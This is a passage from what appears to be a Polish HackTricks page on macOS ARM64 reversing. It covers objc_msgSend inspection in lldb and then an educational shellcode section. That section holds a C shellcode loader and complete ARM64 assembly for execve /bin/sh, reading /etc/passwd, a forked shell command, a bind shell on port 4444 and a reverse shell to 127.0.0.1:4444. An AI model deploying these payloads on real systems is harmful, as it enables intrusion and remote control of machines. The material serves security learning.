Parametry (więcej informacji w dokumentacji):

  • x0: self -> Wskaźnik do instancji
  • x1: op -> Selektor metody
  • x2... -> Pozostałe argumenty wywołanej metody

Więc jeśli ustawisz punkt przerwania przed skokiem do tej funkcji, łatwo można znaleźć, co jest wywoływane w lldb za pomocą (w tym przykładzie obiekt wywołuje obiekt z NSConcreteTask, który uruchomi polecenie):

# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>

(lldb) x/s $x1
0x1736d3a6e: "launch"

(lldb) po [$x0 launchPath]
/bin/sh

(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)

{% hint style="success" %} Ustawienie zmiennej środowiskowej NSObjCMessageLoggingEnabled=1 pozwala zalogować, kiedy ta funkcja jest wywoływana w pliku takim jak /tmp/msgSends-pid.

Ponadto, ustawienie OBJC_HELP=1 i wywołanie dowolnego pliku binarnego pozwala zobaczyć inne zmienne środowiskowe, które można użyć do logowania wystąpienia określonych akcji Objc-C. {% endhint %}

Gdy ta funkcja jest wywoływana, konieczne jest znalezienie wywołanej metody wskazanego egzemplarza, w tym celu dokonywane są różne wyszukiwania:

  • Wykonaj optymistyczne wyszukiwanie w pamięci podręcznej:
  • Jeśli sukces, zakończ
  • Pozyskaj runtimeLock (odczyt)
  • Jeśli (realize && !cls->realized) zrealizuj klasę
  • Jeśli (initialize && !cls->initialized) zainicjuj klasę
  • Spróbuj pamięć podręczną klasy:
  • Jeśli sukces, zakończ
  • Spróbuj listę metod klasy:
  • Jeśli znaleziono, wypełnij pamięć podręczną i zakończ
  • Spróbuj pamięć podręczną nadklasy:
  • Jeśli sukces, zakończ
  • Spróbuj listę metod nadklasy:
  • Jeśli znaleziono, wypełnij pamięć podręczną i zakończ
  • Jeśli (resolver) spróbuj rozwiązujący metodę i powtórz od wyszukiwania klasy
  • Jeśli nadal tutaj (= wszystko inne zawiodło) spróbuj forwarder

Kody Shell

Do kompilacji:

as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

Aby wydobyć bajty:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

Dla nowszych wersji macOS:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
Kod C do przetestowania shellcode'u ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include <sys/mman.h> #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Powłoka

Pobrane z [**tutaj**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) i wyjaśnione.

{% tabs %}
{% tab title="z adr" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

{% endtab %}

{% tab title="z użyciem stosu" %}

.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
; We are going to build the string "/bin/sh" and place it on the stack.

mov  x1, #0x622F  ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48   ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.

str  x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.

; Prepare arguments for the execve syscall.

mov  x1, #8       ; Set x1 to 8.
sub  x0, sp, x1   ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.

; Make the syscall.

mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

{% endtab %}

{% tab title="z adr dla systemu Linux" %}

; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

{% endtab %} {% endtabs %}

Odczyt za pomocą polecenia cat

Celem jest wykonanie execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), dlatego drugi argument (x1) to tablica parametrów (które w pamięci oznaczają stos adresów).

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

Wywołaj polecenie za pomocą sh z odgałęzienia, aby główny proces nie został zabity

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

Powiązane powłoki

Powiązane powłoki z https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s na porcie 4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Odwrócony shell

Z https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell do 127.0.0.1:4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

{% hint style="success" %} Ucz się i praktykuj Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i praktykuj Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wesprzyj HackTricks
{% endhint %}